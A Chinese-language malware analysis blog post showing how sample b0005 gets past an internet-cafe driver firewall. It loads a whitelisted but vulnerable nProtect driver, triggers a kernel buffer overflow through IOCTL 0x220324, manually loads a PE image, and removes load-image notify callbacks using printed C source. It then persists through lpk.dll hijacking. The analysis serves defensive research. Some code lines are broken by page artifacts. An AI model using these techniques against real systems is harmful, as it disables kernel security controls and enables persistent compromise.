某恶意样本绕过驱动防火墙机制分析学习
一、 网维大师驱动防火墙的实现原理
网维大师的驱动防火墙实现,不是在NtLoadDriver乃至更底层函数IopLoadDriver上实现的,而是通过内核函数PsSetLoadImageNotifyRoutine安装模块加载回调实现的,在白名单中,就放行。否则,修改内核入口代码,直接返回。白名单的结构是:
+0 nCounts //白名单驱动数据 +4 fileSize_0 //白名单驱动0 +0x14 fileMd5_0 +0x18 fileSize_1 +0x28 fileMd5_1
以此类推。整个白名单驱动数目是0×4e0项。具体实现如下:
int __stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint(stUnicodeString *puniImageName, int ProcessId, stImageInfo *pstImageInfo) { int result; // eax@1 int v4; // edx@2 __int16 v5; // di@2 int v6; // eax@2 int v8; // eax@7 int v9; // esi@8 unsigned int v10; // esi@22 int v11; // eax@22 int v12; // edx@22 int v13; // ecx@22 int v14; // esi@26 int v15; // eax@26 int v16; // edx@26 int v17; // eax@28 int v18; // edx@28 int v19; // [sp+Ch] [bp-20h]@1 unsigned int iNum; // [sp+10h] [bp-1Ch]@8 char irql; // [sp+16h] [bp-16h]@7 char bNonInMd5List; // [sp+17h] [bp-15h]@2 stMd5CalcResult md5Result; // [sp+18h] [bp-14h]@1 unsigned int v24; // [sp+28h] [bp-4h]@1 int v25; // [sp+2Ch] [bp+0h]@1 v24 = (unsigned int)&v25 ^ (unsigned int)off_8220121C; v19 = 0; result = 0; md5Result.md5_part1 = 0; md5Result.md5_part2 = 0; md5Result.md5_part3 = 0; md5Result.md5_part4 = 0; if ( !(dword_822012A4 & 1) ) return result; bNonInMd5List = 1; v5 = dump_CompareBinData((int)&v24, puniImageName, pstImageInfo->ImageBase); v6 = 0xFFFFu; if ( 0xFFFFu == v5 ) { v6 = dump_calcBinMd5(puniImageName, &md5Result);//计算md5 v19 = v6; if ( !v6 ) { bNonInMd5List = 1; v5 = 1; goto LABEL_22; } irql = g_KfAcquireSpinLock(v6, v4, 0x82201290u); v8 = dword_822012AC; if ( dword_822012AC ) { iNum = 0; v9 = dword_822012AC + 5; if ( *(_DWORD *)(dword_822012AC + 1) ) { do { if ( v19 == *(_DWORD *)v9 ) //比较文件大小 { v8 = g_RtlCompareMemory(v9 + 4, &md5Result, 0x10u);// md5值比对 if ( v8 == 0x10 ) { bNonInMd5List = 0; v5 = 0; break; } v8 = dword_822012AC; } v9 += 0x14u; //每一项长度为0x14 ++iNum; } while ( iNum < *(_DWORD *)(v8 + 1) ); } } LOBYTE(v4) = irql; v6 = g_KfReleaseSpinLock(v8, v4, 0x82201290u); if ( bNonInMd5List != 1 || !(dword_822012A4 & 2) ) goto LABEL_22; v6 = sub_821F8E56(puniImageName); if ( v6 && v6 != 1 ) { v5 = 0; goto LABEL_22; } v5 = 1; } else { bNonInMd5List = 1; //不在白名单中 if ( v5 != 4 ) goto LABEL_22; v5 = 2; } bNonInMd5List = 0; LABEL_22: v10 = 0; v11 = g_KfAcquireSpinLock(v6, v4, 0x82201290u); v13 = dword_822012E8; while ( v13 ) { v13 = *(_DWORD *)v13; ++v10; } LOBYTE(v12) = v11; result = g_KfReleaseSpinLock(v11, v12, 0x82201290u); if ( v10 length + 48, 'BLST'); ((void (__cdecl *)(int, _DWORD, int))dump_memset)(v14, 0, puniImageName->length + 48); *(_DWORD *)(v14 + 4) = puniImageName->length + 0x30; *(_BYTE *)(v14 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = bNonInMd5List; *(_WORD *)(v14 + 10) = v5; *(_BYTE *)(v14 + 9) = 0; g_memmove(v14 + 44, puniImageName->buf, puniImageName->length + 2); *(_WORD *)(v14 + 2 * ((unsigned int)puniImageName->length >> 1) + 44) = 0; g_KeQuerySystemTime(v14 + 0x24); *(_DWORD *)(v14 + 12) = v19; v15 = g_memmove(v14 + 16, &md5Result, 16); if ( dword_822012A4 & 4 ) v15 = sub_821F8A3C((char)puniImageName, (int)puniImageName, (char *)(v14 + 12), 0, v14 + 32); v17 = g_KfAcquireSpinLock(v15, v16, 0x82201290u); *(_DWORD *)v14 = dword_822012E8; LOBYTE(v18) = v17; dword_822012E8 = v14; result = g_KfReleaseSpinLock(v17, v18, 0x82201290u); } if ( bNonInMd5List ) //如果不在白名单表中,将驱动的入口点改为0xc3,也就是ret result = dump_PatchDriverEntryPoint(pstImageInfo->ImageBase); return result; }
二、白名单存在安全问题的驱动分析
网维大师的驱动白名单多为游戏保护的驱动,很多游戏保护的驱动存在安全的问题。样本b0005使用的是nPotect的一个老驱动npDrv.sys,该文件的详细信息如下:
驱动npDrv在处理用户传入的控制码0×220324的对应的数据时,没有对用户传入数据的长度做判断进行拷贝操作,导致内核缓冲区溢出。出现问题的代码如下:
signed int __stdcall np_DeviceControl(PDEVICE_OBJECT a1, PIRP a2) { //部分变量声明省略 v33 = 0; pIrlLocal = a2; memset(&v34, 0, 0x24u); v35 = 0; pIoStackLocation_local = (PIO_STACK_LOCATION)a2->Tail.Overlay.CurrentStackLocation; v4 = 2228712; v36 = 0; a2 = (PIRP)pIoStackLocation_local; v5 = (unsigned int)pIoStackLocation_local->Parameters.DeviceControl.Argument3; //得到ioctlcode if ( v5 > 0x2201E8 ) { if ( v5 > 0x2203F4 ) { v30 = v5 - 0x2203F8; if ( !v30 ) //0x2203f8 { sub_11AF8(a1, pIrlLocal); return v36; } v31 = v30 - 6; if ( !v31 ) // 0x2203FE { sub_11B62(a1, pIrlLocal); return v36; } if ( v31 == 4 ) //0x220402 { sub_11B87(a1, pIrlLocal); return v36; } return 0xC000000Du; } if ( v5 == 0x2203F4 ) //0x2203f4 { sub_11B68(a1, pIrlLocal); return v36; } v23 = v5 - 2228748; if ( !v23 ) //0x22020C { dword_1461C = *(_DWORD *)pIrlLocal->AssociatedIrp.MasterIrp; return v36; } v24 = v23 - 0x118; if ( !v24 ) //0x220324 return np_XXX(pIrlLocal, pIoStackLocation_local); //出现问题的控制码处理函数 v25 = v24 - 160; if ( v25 ) { if ( v25 == 46 ) { v26 = pIrlLocal->MdlAddress; a1 = (PDEVICE_OBJECT)1026; if ( v26->MdlFlags & 5 ) v12 = v26->MappedSystemVa; else v12 = MmMapLockedPages(v26, 0); v17 = pIoStackLocation_local->Parameters.DeviceControl.Argument1; v16 = &a1; goto LABEL_55; } return 0xC000000Du; } //部分伪代码省略 return v36; }
继续跟踪np_XXX函数,如下:
unsigned int __stdcall np_XXX(PIRP pIrp_param, PIO_STACK_LOCATION pIoStackLocation_param) { unsigned int v2; // ebx@1 int v4; // [sp+Ch] [bp-8h]@1 HANDLE Handle; // [sp+10h] [bp-4h]@1 v4 = 0; v2 = 0; Handle = 0; memcpy( &v4, pIrp_param->AssociatedIrp.MasterIrp, (unsigned int)pIoStackLocation_param->Parameters.DeviceControl.Argument2); //拷贝时,没有检测用户传入的数据的长度,直接拷贝到v4当中,导致内核缓冲区溢出,覆盖返回值。 if ( v4 == 1 ) ObReferenceObjectByHandle(Handle, 0, 0, 1, &Object, 0); else v2 = 0xC0000001u; return v2; }
三、 样本绕过网维驱动防火墙分析
样本b0005加了tmd壳,对关键函数分析得知。样本首先通过服务加载存在安全漏洞的驱动npDrv.sys,通过DeviceIoControl发送0×220324到内核,同时,溢出触发后,讲eip指向用户空间的一个函数地址,该函数代码经过变形处理,该函数的主要功能是自己实现加载pe的过程。由于运行的irql为0环,所以,加载的是穿网维还原的内核驱动。 1) 自己实现pe load过程,具体过程如下:
int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0) { int result; // eax@4 unsigned int sectionCounts; // [sp+0h] [bp-14h]@5 struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5 int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5 unsigned int i; // [sp+Ch] [bp-8h]@9 PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1 pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders); if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 ) { ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase; sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders); pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders); if ( (unsigned __int8)g_addr_0x402990( (DWORD *)&ImageBase_or_pBufAddr, pNTHeaders->OptionalHeader.SizeOfImage, pSectionHeaderStart, sectionCounts, 0) ) { if ( ImageBase_or_pBufAddr ) { b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders); for ( i = 0; i < sectionCounts; ++i ) b005_copy_binData( pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr, (IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData), pSectionHeaderStart[i].SizeOfRawData); b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr); if ( !b005_Fixup_ImportTable( (PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr, (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) ) { g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1); ImageBase_or_pBufAddr = 0; } result = ImageBase_or_pBufAddr; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; }
2) 通过摘除回调使驱动防火墙失效 该样本变种,使用的是摘除内核LoageImageNotifyRoutine的回调过程,实现如下,
#pragma pack(1) typedef struct _EX_FAST_REF { union { PVOID Object; ULONG_PTR RefCnt:3; ULONG_PTR Value; }; } EX_FAST_REF, *PEX_FAST_REF; typedef struct _EX_CALLBACK_ROUTINE_BLOCK { EX_RUNDOWN_REF RundownProtect; PEX_CALLBACK_FUNCTION Function; PVOID Context; } EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK; #pragma pack() // PspLoadImageNotifyRoutine数组大小 #define PSP_MAX_LOAD_IMAGE_NOTIFY 8 // 系统PspLoadImageNotifyRoutine变量位置 PULONG g_PspLoadImageNotifyRoutine = NULL; // 根据特征码查找PspLoadImageNotifyRoutine数组的起始地址 PULONG FindPspLoadImageNotifyRoutine( PUCHAR FuncBase ) { ULONG nIndex; PULONG result = NULL; // 查找ing for ( nIndex = 0; nIndex < 512; ++nIndex ) { // 比较头部(这里的0x56和0xbe是特征码) if ( (*(UCHAR*)FuncBase == 0x56) && (*(UCHAR*)(FuncBase + 1) == 0xbe) ) //特征码查找 { // 保存地址并返回 result = *(PULONG)(FuncBase + 2); break; } // 继续遍历 ++FuncBase; } return result; } // 检测并挂钩NP的回调函数 VOID RemoveLoadImageCallBack() { PEX_FAST_REF ExRef; ULONG nIndex; NTSTATUS status; ExRef = (PEX_FAST_REF)(g_PspLoadImageNotifyRoutine); for ( nIndex = 0; nIndex Value & ~7); // 详见WRK if ( MmIsAddressValid((PVOID)Point) ) { // 移除注册的回调函数 status = PsRemoveLoadImageNotifyRoutine( Point->Function );//摘除该回调过程 if ( NT_SUCCESS(status) ) { KdPrint(("remove LoadImage notify success: %d.\n", nIndex)); } } ++ExRef; } }
摘除后,网维大师不再对驱动加载进行拦截。
四、 样本b0005穿还原的方式
样本b0005穿还原的方式,加载穿还原的机器狗驱动,通过dll劫持,替换lpk.dll为大小相近的fake_lpk.dll实现,达到重启后网吧电脑重启后,得到再次运行的机会,从而常驻网吧电脑。
五、 还有什么
没什么了,顺便吼一下, 亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。